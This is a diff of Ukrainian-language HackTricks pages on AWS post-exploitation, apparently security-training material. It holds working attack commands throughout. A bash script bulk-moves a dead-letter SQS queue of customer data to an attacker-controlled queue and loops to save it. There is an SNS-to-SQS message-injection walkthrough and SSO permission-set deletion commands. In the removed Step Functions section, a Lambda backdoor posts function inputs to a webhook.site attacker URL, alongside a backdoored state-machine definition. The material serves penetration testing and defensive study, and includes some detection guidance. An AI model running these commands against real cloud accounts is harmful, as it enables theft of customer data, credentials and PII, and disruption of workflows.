+# This operation will transfer thousands of failed orders containing customer data
+echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
+TASK_RESPONSE=$(aws sqs start-message-move-task \
+--source-arn "$SRC_ARN" \
+--destination-arn "$ATTACKER_Q_ARN" \
+--max-number-of-messages-per-second 100)
+
+echo "Move task started: $TASK_RESPONSE"
+
+# Monitor the theft progress
+aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
+```
+4) **Збирати викрадені конфіденційні дані**
+```bash
+# Receive the exfiltrated customer data
+echo "Receiving stolen customer data..."
+aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--attribute-names All --message-attribute-names All \
+--max-number-of-messages 10 --wait-time-seconds 5
+
+# Example of what an attacker might see:
+# {
+#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
+#   "MessageId": "12345-abcd-6789-efgh"
+# }
+
+# Continue receiving all messages in batches
+while true; do
+MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--max-number-of-messages 10 --wait-time-seconds 2 --output json)
+
+if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
+echo "No more messages - exfiltration complete!"
+break
+fi
+
+echo "Received batch of stolen data..."
+# Process/save the stolen customer data
+echo "$MESSAGES" >> stolen_customer_data.json
+done
+```
+### Примітки щодо доступу між акаунтами
+- Цільова черга повинна мати політику ресурсу, яка дозволяє principal жертви виконувати `sqs:SendMessage` (і, якщо використовується, KMS grants/permissions).
+
+## Чому ця атака ефективна
+
+1. **Legitimate AWS Feature**: Використовує вбудований функціонал AWS, що ускладнює виявлення як шкідливого
+2. **Bulk Operation**: Переносить тисячі повідомлень швидко, замість повільного індивідуального доступу
+3. **Historical Data**: DLQs накопичують чутливі дані протягом тижнів/місяців
+4. **Under the Radar**: Багато організацій не відстежують доступ до DLQ ретельно
+5. **Cross-Account Capable**: Може exfiltrate до власного AWS акаунту нападника, якщо дозволи це дозволяють
+
+## Виявлення та запобігання
+
+### Виявлення
+Monitor CloudTrail for suspicious `StartMessageMoveTask` API calls:
+```json
+{
+"eventName": "StartMessageMoveTask",
+"sourceIPAddress": "suspicious-ip",
+"userIdentity": {
+"type": "IAMUser",
+"userName": "compromised-user"
+},
+"requestParameters": {
+"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
+"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
+}
+}
+```
+### Запобігання
+1. **Принцип найменших привілеїв**: Обмежте дозволи `sqs:StartMessageMoveTask` лише необхідним ролям
+2. **Моніторинг DLQs**: Налаштуйте CloudWatch alarms для аномальної активності DLQs
+3. **Політики між акаунтами**: Уважно перевіряйте SQS queue policies, що дозволяють доступ між акаунтами
+4. **Шифрування DLQs**: Використовуйте SSE-KMS з обмеженими політиками ключів
+5. **Регулярне очищення**: Не дозволяйте конфіденційним даним накопичуватися в DLQs безстроково
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md

@@ -0,0 +1,54 @@
+# AWS – SQS ін'єкція в межах/між акаунтами через підписку SNS + політику черги
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Опис
+
+Зловживати політикою ресурсу SQS, щоб дозволити керованій нападником темі SNS публікувати повідомлення в цільову чергу SQS. В тому ж акаунті підписка SQS на тему SNS підтверджується автоматично; у випадку між акаунтами необхідно прочитати токен SubscriptionConfirmation з черги і викликати ConfirmSubscription. Це дозволяє несанкціоновану ін'єкцію повідомлень, яким downstream споживачі можуть неявно довіряти.
+
+### Вимоги
+- Можливість змінювати політику ресурсу цільової черги SQS: `sqs:SetQueueAttributes` на черзі жертви.
+- Можливість створювати/публікувати в тему SNS під контролем нападника: `sns:CreateTopic`, `sns:Publish`, та `sns:Subscribe` в акаунті/темі нападника.
+- Тільки для міжакаунтових випадків: тимчасове `sqs:ReceiveMessage` на черзі жертви, щоб прочитати токен підтвердження і викликати `sns:ConfirmSubscription`.
+
+### Експлуатація в тому ж акаунті
+```bash
+REGION=us-east-1
+# 1) Create victim queue and capture URL/ARN
+Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# 2) Create attacker SNS topic
+TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)
+
+# 3) Allow that SNS topic to publish to the queue (queue resource policy)
+cat > /tmp/ht-sqs-sns-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
+JSON
+sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
+# Provide the attribute as a JSON map so quoting works reliably
+cat > /tmp/ht-attrs.json <<JSON
+{
+"Policy": "REPLACE_POLICY_JSON"
+}
+JSON
+# Embed the policy file contents as a JSON string
+POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
+sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
+aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json
+
+# 4) Subscribe the queue to the topic (auto-confirms same-account)
+aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION
+
+# 5) Publish and verify injection
+aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
+```
+### Між-акаунтні нотатки
+- Політика черги вище має дозволяти зовнішній `TOPIC_ARN` (акаунт атакуючого).
+- Підписки не підтверджуються автоматично. Наділіть собі тимчасовий дозвіл `sqs:ReceiveMessage` на черзі жертви, щоб прочитати повідомлення `SubscriptionConfirmation`, а потім викличте `sns confirm-subscription` з його `Token`.
+
+### Вплив
+**Потенційний вплив**: Безперервне небажане впровадження повідомлень у довірену SQS-чергу через SNS, що може спричинити небажану обробку, забруднення даних або зловживання робочим процесом.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md

@@ -1,18 +1,18 @@
-# AWS - SSO та identitystore Після Експлуатації
+# AWS - SSO & identitystore Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
-## SSO та identitystore
+## SSO & identitystore
 
-Для отримання додаткової інформації перегляньте:
+Для отримання додаткової інформації дивіться:
 
 {{#ref}}
-../aws-services/aws-iam-enum.md
+../../aws-services/aws-iam-enum.md
 {{#endref}}
 
 ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
 
-Ці дозволи можуть бути використані для порушення дозволів:
+Ці дозволи можуть бути використані для порушення прав доступу:
 ```bash
 aws sso-admin delete-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
 
@@ -20,4 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn <SSOInst
 
 aws sso-admin delete-account-assignment --instance-arn <SSOInstanceARN> --target-id <TargetID> --target-type <TargetType> --permission-set-arn <PermissionSetARN> --principal-type <PrincipalType> --principal-id <PrincipalID>
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md

@@ -1,185 +0,0 @@
-# AWS - Step Functions Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Step Functions
-
-Для отримання додаткової інформації про цю службу AWS, перегляньте:
-
-{{#ref}}
-../aws-services/aws-stepfunctions-enum.md
-{{#endref}}
-
-### `states:RevealSecrets`
-
-Цей дозвіл дозволяє **викривати секретні дані під час виконання**. Для цього потрібно встановити рівень перевірки на TRACE і параметр revealSecrets на true.
-
-<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
-
-### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
-
-Зловмисник з цими дозволами зможе назавжди видалити машини станів, їх версії та псевдоніми. Це може порушити критичні робочі процеси, призвести до втрати даних і вимагати значного часу для відновлення та відновлення постраждалих машин станів. Крім того, це дозволить зловмиснику приховати сліди, що використовуються, порушити судово-медичні розслідування та потенційно паралізувати операції, видаливши важливі автоматизовані процеси та конфігурації станів.
-
-> [!NOTE]
->
-> - Видаляючи машину станів, ви також видаляєте всі її асоційовані версії та псевдоніми.
-> - Видаляючи псевдонім машини станів, ви не видаляєте версії машини станів, що посилаються на цей псевдонім.
-> - Неможливо видалити версію машини станів, яка в даний час посилається на один або кілька псевдонімів.
-```bash
-# Delete state machine
-aws stepfunctions delete-state-machine --state-machine-arn <value>
-# Delete state machine version
-aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
-# Delete state machine alias
-aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
-```
-- **Потенційний вплив**: Порушення критичних робочих процесів, втрата даних та простої в роботі.
-
-### `states:UpdateMapRun`
-
-Зловмисник з цим дозволом зможе маніпулювати конфігурацією невдачі Map Run та паралельними налаштуваннями, маючи можливість збільшувати або зменшувати максимальну кількість дозволених виконань дочірніх робочих процесів, що безпосередньо вплине на продуктивність сервісу. Крім того, зловмисник може підробити відсоток та кількість допустимих невдач, зменшуючи це значення до 0, так що щоразу, коли елемент зазнає невдачі, все виконання карти зазнає невдачі, що безпосередньо вплине на виконання станів і потенційно порушить критичні робочі процеси.
-```bash
-aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
-```
-- **Потенційний вплив**: Зниження продуктивності та порушення критичних робочих процесів.
-
-### `states:StopExecution`
-
-Зловмисник з цим дозволом може зупинити виконання будь-якої машини станів, порушуючи поточні робочі процеси та процеси. Це може призвести до незавершених транзакцій, зупинки бізнес-операцій та потенційного пошкодження даних.
-
-> [!WARNING]
-> Ця дія не підтримується **express state machines**.
-```bash
-aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
-```
-- **Потенційний вплив**: Порушення поточних робочих процесів, операційний простій та потенційна корупція даних.
-
-### `states:TagResource`, `states:UntagResource`
-
-Зловмисник може додавати, змінювати або видаляти теги з ресурсів Step Functions, порушуючи політики розподілу витрат, відстеження ресурсів та контролю доступу вашої організації на основі тегів.
-```bash
-aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
-aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
-```
-**Потенційний вплив**: Порушення розподілу витрат, відстеження ресурсів та політик контролю доступу на основі тегів.
-
----
-
-### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
-
-Зловмисник, який компрометує користувача або роль з наступними дозволами:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "AllowUpdateStateMachine",
-"Effect": "Allow",
-"Action": "states:UpdateStateMachine",
-"Resource": "*"
-},
-{
-"Sid": "AllowUpdateFunctionCode",
-"Effect": "Allow",
-"Action": "lambda:UpdateFunctionCode",
-"Resource": "*"
-}
-]
-}
-```
-...може провести **високоефективну та приховану атаку після експлуатації**, поєднуючи зворотне програмування Lambda з маніпуляцією логікою Step Function.
-
-Цей сценарій передбачає, що жертва використовує **AWS Step Functions для оркестрації робочих процесів, які обробляють чутливі дані**, такі як облікові дані, токени або PII.
-
-Приклад виклику жертви:
-```bash
-aws stepfunctions start-execution \
---state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
---input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
-```
-Якщо Step Function налаштовано для виклику Lambda, як-от `LegitBusinessLogic`, зловмисник може продовжити з **двома прихованими варіантами атаки**:
-
----
-
-####  Оновлено функцію lambda
-
-Зловмисник змінює код функції Lambda, яка вже використовується Step Function (`LegitBusinessLogic`), щоб безшумно ексфільтрувати вхідні дані.
-```python
-# send_to_attacker.py
-import requests
-
-def lambda_handler(event, context):
-requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
-return {"status": "exfiltrated"}
-```
-
-```bash
-zip function.zip send_to_attacker.py
-
-aws lambda update-function-code \
---function-name LegitBusinessLogic \
---zip-file fileb://function.zip -profile attacker
-```
----
-
-#### Додати Шкідливий Стан до Функції Кроків
-
-Альтернативно, зловмисник може впровадити **exfiltration state** на початку робочого процесу, оновивши визначення Функції Кроків.
-```malicious_state_definition.json
-{
-"Comment": "Backdoored for Exfiltration",
-"StartAt": "OriginalState",
-"States": {
-"OriginalState": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
-"End": true
-}
-}
-}
-
-```
-
-```bash
-aws stepfunctions update-state-machine \
---state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
---definition file://malicious_state_definition.json --profile attacker
-```
-Атакуючий може ще більш непомітно оновити визначення стану на щось подібне до цього
-{
-"Comment": "Backdoored for Exfiltration",
-"StartAt": "ExfiltrateSecrets",
-"States": {
-"ExfiltrateSecrets": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
-"InputPath": "$",
-"ResultPath": "$.exfil",
-"Next": "OriginalState"
-},
-"OriginalState": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
-"End": true
-}
-}
-}
-де жертва не помітить різниці
-
----
-
-### Налаштування жертви (Контекст для експлуатації)
-
-- Використовується функція Step (`LegitStateMachine`) для обробки чутливого вводу користувача.
-- Вона викликає одну або кілька функцій Lambda, таких як `LegitBusinessLogic`.
-
----
-
-**Потенційний вплив**:
-- Тиха ексфільтрація чутливих даних, включаючи секрети, облікові дані, API ключі та PII.
-- Відсутність видимих помилок або збоїв у виконанні робочого процесу.
-- Важко виявити без аудиту коду Lambda або слідів виконання.
-- Дозволяє довгострокову стійкість, якщо бекдор залишається в коді або логіці ASL.
-
-
-{{#include ../../../banners/hacktricks-training.md}}